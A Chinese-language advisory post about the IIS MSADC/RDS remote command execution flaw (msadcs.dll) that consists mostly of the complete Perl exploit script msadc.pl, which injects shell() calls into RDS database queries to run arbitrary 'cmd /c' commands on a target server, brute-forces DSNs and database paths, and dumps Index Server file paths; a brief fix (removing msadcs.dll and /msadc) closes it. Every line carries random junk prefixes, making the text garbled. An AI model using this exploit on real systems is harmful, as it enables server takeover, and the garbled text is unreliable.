IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
or"9I1o sw50lId 涉及程序:
Q]]M;( Microsoft NT server
{Q)sR*d z%nplG'~| 描述:
";upu 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
" eS-i@ 4j(*%da 详细:
4YXp,U 如果你没有时间读详细内容的话,就删除:
I/zI\PP, c:\Program Files\Common Files\System\Msadc\msadcs.dll
{rzQ[_)EC 有关的安全问题就没有了。
#+
{%>f Pk6_ 1LV 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
R8Dn
GR 8\+XtS 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Y pvFv- 关于利用ODBC远程漏洞的描述,请参看:
`j'gt& Icx)+Mq http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm bRJ]avR
u}7r\MnwK, 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
M(:_(4~ http://www.microsoft.com/security/bulletins/MS99-025faq.asp gu1n0N`b Mn*5oH 这里不再论述。
p3B_NsXVZ X=VaBy4# 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
C9j5Pd5q1L zX8{( /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
N::.o+1 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
7U-?Rd @9g!5dcT RPkOtRKL=w #将下面这段保存为txt文件,然后: "perl -x 文件名"
xw3A |Aj?r YVO~0bX: #!perl
Oe0dC9H #
GFZx[*+%%z # MSADC/RDS 'usage' (aka exploit) script
+}C M2>M #
D[(T--LLT # by rain.forest.puppy
84gj%tw'- #
h)T-7b # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
{#l@9r% # beta test and find errors!
CM+wkU ?, `4"&_ltD use Socket; use Getopt::Std;
*4 Kc "M getopts("e:vd:h:XR", \%args);
Rp.FG
L/: u print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
mh~n#bah 5G#K)s(QC if (!defined $args{h} && !defined $args{R}) {
s`,. & print qq~
mGUl/.;yp- Usage: msadc.pl -h <host> { -d <delay> -X -v }
!B&1{ -h <host> = host you want to scan (ip or domain)
7@i2Mz/eV -d <seconds> = delay between calls, default 1 second
z|G 39 -X = dump Index Server path table, if available
|Vc:o_n7 -v = verbose
\8SHX -e = external dictionary file for step 5
h_h6@/1l ?[q.1O Or a -R will resume a command session
JOx""R8T5 3yIC@>&y(8 ~; exit;}
.:jfNp~jt !_[^%7"S1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
h>K%OxR if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
z/7"! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
\6v*c;ZF if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
UjQi9ELoJ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5P
< F if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
tL@m5M%:N2 4kQL\Ld#E% if (!defined $args{R}){ $ret = &has_msadc;
'^.}5be& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Z= P=oldH [KjL` print "Please type the NT commandline you want to run (cmd /c assumed):\n"
REwZ41
. "cmd /c ";
oGi{d5 $in=<STDIN>; chomp $in;
@uI_4 a $command="cmd /c " . $in ;
IK^jzx (1b%);L7 if (defined $args{R}) {&load; exit;}
k ihO~< (T0%H<#+ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
UBxQ4)% &try_btcustmr;
ZX!u\O|w ocT.2/~d print "\nStep 2: Trying to make our own DSN...";
VR9C< tMSi &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
nANoy6z: a<K@rgQ print "\nStep 3: Trying known DSNs...";
x?| &known_dsn;
B]YY[i 8o;9=.<<~u print "\nStep 4: Trying known .mdbs...";
`Z0#IeX= &known_mdb;
e
RjpR?!\ i3} ^j?jA2 if (defined $args{e}){
hol54)7$3: print "\nStep 5: Trying dictionary of DSN names...";
r:Xui- &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
T9+ ?A
l glppb$oB\ print "Sorry Charley...maybe next time?\n";
xFY;aK exit;
#ab=]}2W_g W@x
UR-}51 ##############################################################################
-3<5,Q{G+ }]H_|V*f sub sendraw { # ripped and modded from whisker
J$?*qZ(oO sleep($delay); # it's a DoS on the server! At least on mine...
:d<;h:^_ my ($pstr)=@_;
t>T |\WAAL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
jo4*,B1x die("Socket problems\n");
2|)3Ly9 if(connect(S,pack "SnA4x8",2,80,$target)){
=,~h]_\_ select(S); $|=1;
n(b(H`1n print $pstr; my @in=<S>;
/0mbG!Ac select(STDOUT); close(S);
lc=C return @in;
>]k'3|vV } else { die("Can't connect...\n"); }}
5"5D( [2!K 6 ##############################################################################
(Ia} ]q n@xDFa sub make_header { # make the HTTP request
o~F @1 my $msadc=<<EOT
5xi f0h-` POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2Ek6YNx User-Agent: ACTIVEDATA
por[p\ M. Host: $ip
bO:Ei Content-Length: $clen
#"a?3!wr Connection: Keep-Alive
vvLm9Tw m[C-/f^u| ADCClientVersion:01.06
5[M?O4mi Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Dqe/n_Z })|+tZ --!ADM!ROX!YOUR!WORLD!
/GNRu Content-Type: application/x-varg
@#}9?>UV Content-Length: $reqlen
!p1OBS| A}sb2P EOT
J56+eC( ; $msadc=~s/\n/\r\n/g;
l/_3H\iM return $msadc;}
dx@#6Fhy Pn5@7~ ##############################################################################
:Q sGwhB sD.bBz sub make_req { # make the RDS request
3mgFouX2x, my ($switch, $p1, $p2)=@_;
Roy0?6O my $req=""; my $t1, $t2, $query, $dsn;
5,'?NEyw b1jh2pG(V if ($switch==1){ # this is the btcustmr.mdb query
viAvD6e $query="Select * from Customers where City=" . make_shell();
E) >~0jv $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_tL*sA>[~) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(
=->rP 2s;/*<WM elsif ($switch==2){ # this is general make table query
|^Z1 D TAw $query="create table AZZ (B int, C varchar(10))";
>/EmC3?b! $dsn="$p1";}
KGkzE `pN"T?Pk elsif ($switch==3){ # this is general exploit table query
'!Vn $query="select * from AZZ where C=" . make_shell();
l2=.;7IV $dsn="$p1";}
Xd66"k\b+ Vf*!m~]Vqi elsif ($switch==4){ # attempt to hork file info from index server
0^|)[2m! $query="select path from scope()";
\CB{Ut+s $dsn="Provider=MSIDXS;";}
Fg?Gx(g4 h/`OG>./ elsif ($switch==5){ # bad query
}+QgRGQ $query="select";
yEtSyb~GK $dsn="$p1";}
n
w @cAv 'rRo2oTN $t1= make_unicode($query);
)m"NO/sJ2 $t2= make_unicode($dsn);
D*`|MzlQ $req = "\x02\x00\x03\x00";
t</rvAH E $req.= "\x08\x00" . pack ("S1", length($t1));
:HRJ49a $req.= "\x00\x00" . $t1 ;
rZe"*$e $req.= "\x08\x00" . pack ("S1", length($t2));
G[r_|-^S $req.= "\x00\x00" . $t2 ;
2;5EH0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
$uawQf+S return $req;}
0X`Qt[ 06pLa3oi ##############################################################################
[L|H1ll vd SV6p.d sub make_shell { # this makes the shell() statement
u1ggLH!U return "'|shell(\"$command\")|'";}
~kYUp5f mmAikT#k ##############################################################################
Yp./3b VO R"Hhc(H sub make_unicode { # quick little function to convert to unicode
D.j'n-yw my ($in)=@_; my $out;
NM/?jF@j* for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
kW4/0PD return $out;}
z;GnQfYG s,"<+80% ##############################################################################
"dXRUg" A0cC)bd& sub rdo_success { # checks for RDO return success (this is kludge)
26yv w my (@in) = @_; my $base=content_start(@in);
*|Q'?ty(x if($in[$base]=~/multipart\/mixed/){
1@P/h#_Vr return 1 if( $in[$base+10]=~/^\x09\x00/ );}
c\-5vw||b return 0;}
92WvD Av^{$9yl ##############################################################################
a:Y6yg%1> EJ.oq*W!*J sub make_dsn { # this makes a DSN for us
"'4R_R my @drives=("c","d","e","f");
k8F<j)" print "\nMaking DSN: ";
=;7gxV3; foreach $drive (@drives) {
5CueD] print "$drive: ";
JaXT
B"e my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Q$Ga.fI "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
yaMNt}y-q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#Bg88!-4 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
U>IllNd
return 0 if $2 eq "404"; # not found/doesn't exist
e Pq(:ih if($2 eq "200") {
,@tkL!"9q foreach $line (@results) {
';hU&D;s return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4{(uw } return 0;}
VJDF/)X3$ `L`qR,R ##############################################################################
C$vKRg\o sNc(aGvy sub verify_exists {
-ZlBg~E my ($page)=@_;
]{{A/ j\ my @results=sendraw("GET $page HTTP/1.0\n\n");
y{,HpPp#o return $results[0];}
7cr@;%# J_C<Erx[O ##############################################################################
8;ke,x AV Gu* sub try_btcustmr {
gV$j ] my @drives=("c","d","e","f");
`utv@9 _z my @dirs=("winnt","winnt35","winnt351","win","windows");
k*(c8/<.d [mn@/qf foreach $dir (@dirs) {
f_}/JF
print "$dir -> "; # fun status so you can see progress
nBI?~hkP3 foreach $drive (@drives) {
P9p:x6 print "$drive: "; # ditto
mcy\nAf5% $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9h>nP8 $reqlenlen=length( "$reqlen" );
ym9Z:2g
$clen= 206 + $reqlenlen + $reqlen;
QG*=N {%5 dqnH7okZ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'MRvH
lCM if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
G#gUd'=M else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Q1jU{ b6:A-jb*I ##############################################################################
<cNXe4( 7K,Quq.%+ sub odbc_error {
/ts=DxCC; my (@in)=@_; my $base;
yI/2 e [ my $base = content_start(@in);
bP\0S@1YL if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
kP~'C'5Ys $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5v <>%= $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
YL-/z4g $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
gwhd) .* return $in[$base+4].$in[$base+5].$in[$base+6];}
^ CVhV print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
N`XJA-DE print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
OLh`R]Sd $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6hDK;J J& pYZ6-s ##############################################################################
[p[nK=&r H,,-;tN? sub verbose {
kms&o=^ my ($in)=@_;
Y$xO&\&) return if !$verbose;
2{;&c print STDOUT "\n$in\n";}
^?PU:eS Rs_0xh ##############################################################################
L[l?}\ T'\B17
:* sub save {
PN9^ sLx= my ($p1, $p2, $p3, $p4)=@_;
?xEQ'(UBQ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
(t&]u7Atr print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
xg=}MoX close OUT;}
_Gs*4: piYv}4;:( ##############################################################################
pRI<L' T=r-6eN sub load {
+Qy*s1fit my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
MuNM)pyxp open(IN,"<rds.save") || die("Couldn't open rds.save\n");
L9tjHC] @p=<IN>; close(IN);
z'@j9vT $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
HQHFD0hv $target= inet_aton($ip) || die("inet_aton problems");
RC7|@a print "Resuming to $ip ...";
+5J "G/f $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
50!/% if($p[1]==1) {
v*Tliw`-U $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
l`lo5:w $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
/ hUuQDJ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
FR~YO|4? if (rdo_success(@results)){print "Success!\n";}
<p@c%e,_ else { print "failed\n"; verbose(odbc_error(@results));}}
DxjD/?R8 elsif ($p[1]==3){
u@|izRk if(run_query("$p[3]")){
Y.I-hl1<r print "Success!\n";} else { print "failed\n"; }}
TU ]Ed*'& elsif ($p[1]==4){
'[#a-8-JY_ if(run_query($drvst . "$p[3]")){
\s<7!NAE4 print "Success!\n"; } else { print "failed\n"; }}
Ol ,;BZHc\ exit;}
cBf9-k .DSn
H6O ##############################################################################
d,=Kv =H*}{'# sub create_table {
bc}X.IC my ($in)=@_;
*8}Y0V\s $reqlen=length( make_req(2,$in,"") ) - 28;
>cwyb9;!kK $reqlenlen=length( "$reqlen" );
b *IJ + $clen= 206 + $reqlenlen + $reqlen;
\m-fLX my @results=sendraw(make_header() . make_req(2,$in,""));
{ zoUU return 1 if rdo_success(@results);
VM{`CJ2 my $temp= odbc_error(@results); verbose($temp);
AH`n return 1 if $temp=~/Table 'AZZ' already exists/;
9xWC<i return 0;}
"bZV<;y6 e;b,7Qw ##############################################################################
||v=in \~xI#S@ sub known_dsn {
w?CbATQ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
r})2-3ZA9 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
f])?Gw "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
C("PCD
"banner", "banners", "ads", "ADCDemo", "ADCTest");
}aYm86C] Hh @q;0ni foreach $dSn (@dsns) {
5zJkPki print ".";
.d`+#1Ot( next if (!is_access("DSN=$dSn"));
N/)mw/?i if(create_table("DSN=$dSn")){
8D]:>[|E print "$dSn successful\n";
*Yv"lB8 if(run_query("DSN=$dSn")){
4mOw[}@A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P8NKpO\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
)gdv! ZWMX!>o< ##############################################################################
T#Pz_
hAu y8: 0VZox sub is_access {
m}.ru)^p my ($in)=@_;
ANSv ZqKh $reqlen=length( make_req(5,$in,"") ) - 28;
dsDoPo0! $reqlenlen=length( "$reqlen" );
j)\g0u6 $clen= 206 + $reqlenlen + $reqlen;
TRz~rW
k my @results=sendraw(make_header() . make_req(5,$in,""));
Wm:3_C +j my $temp= odbc_error(@results);
]i*q*]x2u verbose($temp); return 1 if ($temp=~/Microsoft Access/);
wo2^,Y2z+ return 0;}
EZ #UdK_ Gb61X6 ##############################################################################
:b>Z|7g ? =f@O~nGm sub run_query {
qGkrG38K my ($in)=@_;
aM 0kV.O $reqlen=length( make_req(3,$in,"") ) - 28;
`.;7O27A^% $reqlenlen=length( "$reqlen" );
&n<jpMB $clen= 206 + $reqlenlen + $reqlen;
IcL3.(!]l my @results=sendraw(make_header() . make_req(3,$in,""));
AX**q$'R return 1 if rdo_success(@results);
Af=%5% my $temp= odbc_error(@results); verbose($temp);
B0=:A return 0;}
y- k?_$M ^FgNg'"[3 ##############################################################################
{+c/$4< *p?b "{_a sub known_mdb {
;TSnIC)c my @drives=("c","d","e","f","g");
2`5(XpYe my @dirs=("winnt","winnt35","winnt351","win","windows");
N(Y9FD;H my $dir, $drive, $mdb;
}SitT\% my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)I]E%ut{4, +lJuF/sS8m # this is sparse, because I don't know of many
d!8q+FI my @sysmdbs=( "\\catroot\\icatalog.mdb",
|L;'In "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
?Z4&j'z< "\\system32\\certmdb.mdb",
_WK+BxH "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
R,Zuy(g mk\U wv my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
d\;M F "\\cfusion\\cfapps\\forums\\forums_.mdb",
@PwEom`a "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
md$[Bs9 "\\cfusion\\cfapps\\security\\realm_.mdb",
vlIdi@V "\\cfusion\\cfapps\\security\\data\\realm.mdb",
b]RCe^E1 "\\cfusion\\database\\cfexamples.mdb",
\(T;@r "\\cfusion\\database\\cfsnippets.mdb",
~$r^Ur!E\ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
-D:J$d
6R< "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
}/c.>U "\\cfusion\\brighttiger\\database\\cleam.mdb",
gY0*u+LF "\\cfusion\\database\\smpolicy.mdb",
{(a@3m~a% "\\cfusion\\database\cypress.mdb",
tB(Q-c "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/2'\ya4B "\\website\\cgi-win\\dbsample.mdb",
9}}D -&Mc "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
bSz6O/A/ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
@TgCI`E ); #these are just
KD,b.s foreach $drive (@drives) {
w-/bLg[L?$ foreach $dir (@dirs){
Ix:aHl foreach $mdb (@sysmdbs) {
I$f:K]|.m! print ".";
nWXI*%m5 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
; UrwK print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
,}{E+e5jh7 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
AZl=w`;/O% print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
M8juab%y } else { print "Something's borked. Use verbose next time\n"; }}}}}
^[zF_df ][G<CO`k foreach $drive (@drives) {
-D!F|&$ foreach $mdb (@mdbs) {
}1R k]$XC print ".";
k9^P#l@p if(create_table($drv . $drive . $dir . $mdb)){
T$}<So| print "\n" . $drive . $dir . $mdb . " successful\n";
VKN^gz if(run_query($drv . $drive . $dir . $mdb)){
0eQ5LG?) print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
/ _}v|E0 } else { print "Something's borked. Use verbose next time\n"; }}}}
%J|EDf,M }
d+&V^qLJ 7FMHz.ZRE ##############################################################################
ir]u FOj (Mtc&+n{ sub hork_idx {
U Ciq'^, print "\nAttempting to dump Index Server tables...\n";
k.lnG5e print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
kN}.[enI~ $reqlen=length( make_req(4,"","") ) - 28;
iicrRGp3 $reqlenlen=length( "$reqlen" );
B1LnuB% $clen= 206 + $reqlenlen + $reqlen;
L3<XWpv my @results=sendraw2(make_header() . make_req(4,"",""));
2iH,U if (rdo_success(@results)){
}*R"yp my $max=@results; my $c; my %d;
?<nz2 piP, for($c=19; $c<$max; $c++){
QGLm4 Wl9 $results[$c]=~s/\x00//g;
*:&fw'vd, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
"\>3mVOb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
J| 'T2g $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
z4f5@ $d{"$1$2"}="";}
{X"X.`p foreach $c (keys %d){ print "$c\n"; }
x(t}H8q } else {print "Index server doesn't seem to be installed.\n"; }}
zM@iG]?kc g:2/!tujL ##############################################################################
1%-?e``. ho(Y?'^t3 sub dsn_dict {
Pu9.Uwx open(IN, "<$args{e}") || die("Can't open external dictionary\n");
tXp)o>" while(<IN>){
%
tJ?dlD' $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
?v")Z0 ~ next if (!is_access("DSN=$dSn"));
F(XWnfUv if(create_table("DSN=$dSn")){
.4^Paxz print "$dSn successful\n";
>K
&b,o,[ if(run_query("DSN=$dSn")){
UWusSi3+LG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
db4&?55Q print "Something's borked. Use verbose next time\n";}}}
EAq >v
t83 print "\n"; close(IN);}
|QzPY8B9O v$mA7|(t! ##############################################################################
Hv`Zc* 4o=G) KO{ sub sendraw2 { # ripped and modded from whisker
K^>qn,]H' sleep($delay); # it's a DoS on the server! At least on mine...
+L49
pv5 my ($pstr)=@_;
3{_+dE"9 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,2cw9?< die("Socket problems\n");
a%]p*X! if(connect(S,pack "SnA4x8",2,80,$target)){
1U9iNki print "Connected. Getting data";
T }8aj open(OUT,">raw.out"); my @in;
6@$[x* V select(S); $|=1; print $pstr;
u3<])}I' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
%!=YNm close(OUT); select(STDOUT); close(S); return @in;
^Gyl:hN } else { die("Can't connect...\n"); }}
<B
fwR$ +X?jf.4 ##############################################################################
O^<6`ku }.hBmhnZmI sub content_start { # this will take in the server headers
\vT8
)\ my (@in)=@_; my $c;
S2NsqHJr for ($c=1;$c<500;$c++) {
F-R`'{ ka if($in[$c] =~/^\x0d\x0a/){
=DCQ!02 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
EtL=_D- else { return $c+1; }}}
cK258mY return -1;} # it should never get here actually
0hv[Ff *\`C!r ##############################################################################
~ 52 IM#+@vv sub funky {
ysa"f+/ my (@in)=@_; my $error=odbc_error(@in);
L fi]s if($error=~/ADO could not find the specified provider/){
K4rr.f6 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
d-*9tit exit;}
OYzJE@r^ if($error=~/A Handler is required/){
m=K XMX print "\nServer has custom handler filters (they most likely are patched)\n";
Kzm_AHA) exit;}
f&`*x t/ if($error=~/specified Handler has denied Access/){
lt*k(JD print "\nServer has custom handler filters (they most likely are patched)\n";
[X
I5Bu ~ exit;}}
+-Dd*yD6< IQ_0[ ##############################################################################
}iC~B} Y!`?q8z$G sub has_msadc {
d.+vjMI my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Zu$f[U)X my $base=content_start(@results);
VgdkCdWRm_ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Y}Dp{ return 0;}
izKk@{Md 7Y)wu$!7} ########################
j@ "`!uPz :b>|U"ux k@~-|\ooG 解决方案:
3 x'30 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
`~}7k)F( 2、移除web 目录: /msadc